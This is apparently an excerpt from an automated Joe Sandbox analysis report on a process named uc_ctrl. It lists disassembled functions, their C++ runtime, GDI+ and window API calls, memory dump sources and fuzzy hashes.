                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9FE9
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEFA011
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: 677846dec55b405fbc0c9a9eeaffe1bf5aff2c451ce1221051dc5c37dd2f2977
                                                                                              • Instruction ID: 4506ef6f722d435b8721226ce989d61a20b40ecb8a4bd1df5ad97e29a61fe3a7
                                                                                              • Opcode Fuzzy Hash: 677846dec55b405fbc0c9a9eeaffe1bf5aff2c451ce1221051dc5c37dd2f2977
                                                                                              • Instruction Fuzzy Hash: EA019A35B002118BCF05EBA488616FDB772AF89768F350428D021ABB90DF78DE0A9795
                                                                                              Function 6CEF98EA Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF98F1
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE7CC), ref: 6CEF98FC
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEF9914
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000), ref: 6CEF994E
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEF9976
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: f894abdbdde0fb8d4e2198ab0cab4aad8de30cbc7a3bc5def09fe900ffd93a5c
                                                                                              • Instruction ID: 1c30a2441d39765ebe1450239b851c0eeab4a78d1cc7637cd40c10730df9d560
                                                                                              • Opcode Fuzzy Hash: f894abdbdde0fb8d4e2198ab0cab4aad8de30cbc7a3bc5def09fe900ffd93a5c
                                                                                              • Instruction Fuzzy Hash: 3E01B135B102158BCF05EF64C8612EEB7B3AF88758F25041CC421ABB80CF78DD0A9786
                                                                                              Function 6CEF9851 Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9858
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE77B,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEF9863
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF987B
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEF98B5
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF98DD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: 45f3f0ca0636c5bf73eb06f2621b27ec146b4f0cee561af8f21ba4612b423b42
                                                                                              • Instruction ID: fe93b4b499e4005b72f33e656edbea5d74d29ca16db3ae82928a74d87ee4fa78
                                                                                              • Opcode Fuzzy Hash: 45f3f0ca0636c5bf73eb06f2621b27ec146b4f0cee561af8f21ba4612b423b42
                                                                                              • Instruction Fuzzy Hash: B801B535F0025487CF05EF64C9602EDB6726F89758F35042CD421ABB80DF78DD0A9795
                                                                                              Function 6CEF9983 Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF998A
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE840), ref: 6CEF9995
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEF99AD
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000), ref: 6CEF99E7
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEF9A0F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: 87ea87939d2110c4f7d2327a70d5f54f5fb8849f8996ed76be9650e043b7298c
                                                                                              • Instruction ID: 8668218305d7905075788985d10f6e23f94b08f525759e9e08424e23ce36b816
                                                                                              • Opcode Fuzzy Hash: 87ea87939d2110c4f7d2327a70d5f54f5fb8849f8996ed76be9650e043b7298c
                                                                                              • Instruction Fuzzy Hash: D501B135B006118BCF05EF64C8602EDB7726F88759F36191CC421ABB90DF74DD0A9795
                                                                                              Function 6CEF9A1C Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9A23
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE8AF), ref: 6CEF9A2E
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEF9A46
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000), ref: 6CEF9A80
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEF9AA8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: 88d1fb4af8c0aaf8bebb2e3f93c16fce133e637ea14c04aa7b29a3c551241ca5
                                                                                              • Instruction ID: 548a52413e4e35afe7b5707c0022ed03704b19403f0ffec1c8bbaebb4d85b509
                                                                                              • Opcode Fuzzy Hash: 88d1fb4af8c0aaf8bebb2e3f93c16fce133e637ea14c04aa7b29a3c551241ca5
                                                                                              • Instruction Fuzzy Hash: 0301F175B005108BCF01FFA4C8202EDB772AF88758F24051CC425ABB80CF39DE0A9B95
                                                                                              Function 6CEDFC96 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 276COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000001,00000000), ref: 6CEDFD40
                                                                                              • iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004,00000007,00000007), ref: 6CEDFEC7
                                                                                              • iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004), ref: 6CEDFEF5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: iswctype$localeconv
                                                                                              • String ID: 0123456789abcdefABCDEF$Cw}3/
                                                                                              • API String ID: 3516882852-3840716725
                                                                                              • Opcode ID: 7184ca5b24ec69cb7a204aa74324a947cbfc5b92f22560b038d7a9dfea267d1e
                                                                                              • Instruction ID: 1ea8187976e2fa3e0d5372087c69d1d35b8046a95fcfd439ca960a265af32709
                                                                                              • Opcode Fuzzy Hash: 7184ca5b24ec69cb7a204aa74324a947cbfc5b92f22560b038d7a9dfea267d1e
                                                                                              • Instruction Fuzzy Hash: 3FA1AF71E052199BCB14CFA9E88169DBBF1FF49318F36412AE855EB740E738A843CB50
                                                                                              Function 6CFC842A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 225windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CFC9937: GdipGetImagePixelFormat.GDIPLUS(?,6D1C991C,00000000,00000000,?,6CFC8458,?,00000000,6D1C991C), ref: 6CFC9945
                                                                                              • GdipBitmapLockBits.GDIPLUS(00000000,?,00000001,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,6D1C991C), ref: 6CFC863A
                                                                                                • Part of subcall function 6CFC9911: GdipGetImagePaletteSize.GDIPLUS(00000000,00000000,00000000,?,?,6CFC851A,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6CFC9923
                                                                                              • GdipBitmapUnlockBits.GDIPLUS(00000000,?,00000000,?,00000001,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,6D1C991C), ref: 6CFC86F7
                                                                                                • Part of subcall function 6CFC6885: GdipCreateBitmapFromScan0.GDIPLUS(00000000,?,?,00000000,00000000,6D1C991C,00000000,?,?,6CFC871D,?,?,?,00022009,?,00000000), ref: 6CFC68AC
                                                                                                • Part of subcall function 6CFC6A86: GdipGetImageGraphicsContext.GDIPLUS(?,6D1C991C,00000000,?,?,6CFC872F,?,?,?,?,00022009,?,00000000,00000000,?,00000000), ref: 6CFC6AA0
                                                                                              • GdipDeleteGraphics.GDIPLUS(?,?,00000000,00000000,?,?,?,?,00022009,?,00000000,00000000,?,00000000,00000000,?), ref: 6CFC8748
                                                                                              • GdipDisposeImage.GDIPLUS(?,?,?,00000000,00000000,?,?,?,?,00022009,?,00000000,00000000,?,00000000,00000000), ref: 6CFC8753
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Gdip$Image$Bitmap$BitsGraphics$ContextCreateDeleteDisposeFormatFromLockPalettePixelScan0SizeUnlock
                                                                                              • String ID: &
                                                                                              • API String ID: 157952678-3042966939
                                                                                              • Opcode ID: 1ae3a90ceb758255c91862499f26315f62c55753ec5d65b9126fbf9e67738797
                                                                                              • Instruction ID: 27412b346afd5dccd8d268f0ad6b63129d9a2fa695f1a61e6cdc46a5f9539062
                                                                                              • Opcode Fuzzy Hash: 1ae3a90ceb758255c91862499f26315f62c55753ec5d65b9126fbf9e67738797
                                                                                              • Instruction Fuzzy Hash: D99110F5B0112A9BDB248F14CD90BDAB7B4EF48318F0045EAD609A7641D730AEC5CF99
                                                                                              Function 6CF99A26 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 219windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF8EA42: __EH_prolog3.LIBCMT ref: 6CF8EA5A
                                                                                              • SendMessageW.USER32(?,00000433,00000000,?), ref: 6CF99BFF
                                                                                              • GetWindowLongW.USER32(?,000000FC), ref: 6CF99C0A
                                                                                              • GetWindowLongW.USER32(?,000000FC), ref: 6CF99C1E
                                                                                              • SetWindowLongW.USER32(?,000000FC,00000000), ref: 6CF99C46
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: LongWindow$H_prolog3MessageSend
                                                                                              • String ID: ,
                                                                                              • API String ID: 4140968126-3772416878
                                                                                              • Opcode ID: dda0030c732e1ebbb8be1342df6207e9aa7091421942844065d9f8953a7e5f97
                                                                                              • Instruction ID: 69babc4eb383d34b0dd7cbd35f4b371fb2b1c138d54bb839a28b700c3bca9cb1
                                                                                              • Opcode Fuzzy Hash: dda0030c732e1ebbb8be1342df6207e9aa7091421942844065d9f8953a7e5f97
                                                                                              • Instruction Fuzzy Hash: 6E71D331A01615AFEF04AF65C890AADB7B6FF49318B110169D9199BB90DF30EA01CB92
                                                                                              Function 00102B00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 197COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ??8CDuiString@UiLib@@QBE_NPB_W@Z.UC_GUILIB(btn_ok), ref: 00102B56
                                                                                              • ??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00102B6B
                                                                                              • ?Close@CWindowWnd@UiLib@@QAEXI@Z.UC_GUILIB(00000001), ref: 00102CED
                                                                                              • ?OnClick@WindowImplBase@UiLib@@UAEXAAUtagTNotifyUI@2@@Z.UC_GUILIB(?), ref: 00102D0C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Lib@@$String@Window$Base@Click@Close@I@2@@ImplNotifyUtagWnd@
                                                                                              • String ID: btn_ok
                                                                                              • API String ID: 2020314825-2091937784
                                                                                              • Opcode ID: db3bbe722128d6ea0efbe9c6bdc24e368fda7ec7b56a37337ad85ce8566cc4cc
                                                                                              • Instruction ID: 1c2387f0b3f488e6dc27484aaffaac0a5308d58869fb68b2acf2f65a6a9664be
                                                                                              • Opcode Fuzzy Hash: db3bbe722128d6ea0efbe9c6bdc24e368fda7ec7b56a37337ad85ce8566cc4cc
                                                                                              • Instruction Fuzzy Hash: A761C271A006069FEB24DF24C588BAAF3F5FF64714F148569D8969B290DBB1FC44CB90
                                                                                              Function 6CEF3CD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 164COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _Stolx.MSVCP140(?,?,0000000A,?,?,?,00000000), ref: 6CEF3E2E
                                                                                                • Part of subcall function 6CEF8AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6CEFA40A,?,?,?,?,?,6CEEF3F7,00000014), ref: 6CEF8B07
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?sgetc@?$basic_streambuf@_StolxU?$char_traits@_W@std@@@std@@
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1082460496-738913995
                                                                                              • Opcode ID: ff7ddc65d922054971a213fc0ea45dc7483b295a4d65d03251204444cb72aee3
                                                                                              • Instruction ID: b2e21b2dcf686ae8dea05092ebdc5306676d4a2f70c19fd22fa799cb32a03546
                                                                                              • Opcode Fuzzy Hash: ff7ddc65d922054971a213fc0ea45dc7483b295a4d65d03251204444cb72aee3
                                                                                              • Instruction Fuzzy Hash: 63518275A452489FCF01CBA8C490AEDF7B6AF59308F34419AD861BB741CB716D0BC7A2
                                                                                              Function 6CEDFAD8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,00000008,?,?,?,6CEDF1AC), ref: 6CEDFAFA
                                                                                              • iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,00000080,6CEDF1AC), ref: 6CEDFB7B
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: iswctype
                                                                                              • String ID: I$i
                                                                                              • API String ID: 304682654-1166825223
                                                                                              • Opcode ID: e9d7620fd06dc4bf232ea7cde839341afbe24f1ebe14e3ff22ddaa94eb3aebf8
                                                                                              • Instruction ID: f67f8dfd76516601cfc717273af626c06118a2ba0bdd8e9c1064904ede57af01
                                                                                              • Opcode Fuzzy Hash: e9d7620fd06dc4bf232ea7cde839341afbe24f1ebe14e3ff22ddaa94eb3aebf8
                                                                                              • Instruction Fuzzy Hash: AC510671D0422596DB24CB46D4802BAB3B1FF0575CFB38456ECD59AA80E3BCB9D3C298
                                                                                              Function 6CFAB057 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 126COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GlobalLock.KERNEL32(?,?,0000000A,System,6CFAB23F,System,?,?,?,00000000), ref: 6CFAB074
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: GlobalLock
                                                                                              • String ID: System
                                                                                              • API String ID: 2848605275-3470857405
                                                                                              • Opcode ID: 8aba18347bbea5b29ff8c49a0a1669aaebbad86bec5a5029009580731531e92e
                                                                                              • Instruction ID: 842fc28f6fb7cb4626161a6c2427324ca6e2cd5b77c2afbba7b8557a82132cd8
                                                                                              • Opcode Fuzzy Hash: 8aba18347bbea5b29ff8c49a0a1669aaebbad86bec5a5029009580731531e92e
                                                                                              • Instruction Fuzzy Hash: D041D331A0411ADFDB14CFA9C884AAFF7B4FF41308F158A69E425D7A50EB309A46CB90
                                                                                              Function 6CEFB930 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEFB937
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000003C), ref: 6CEFB951
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
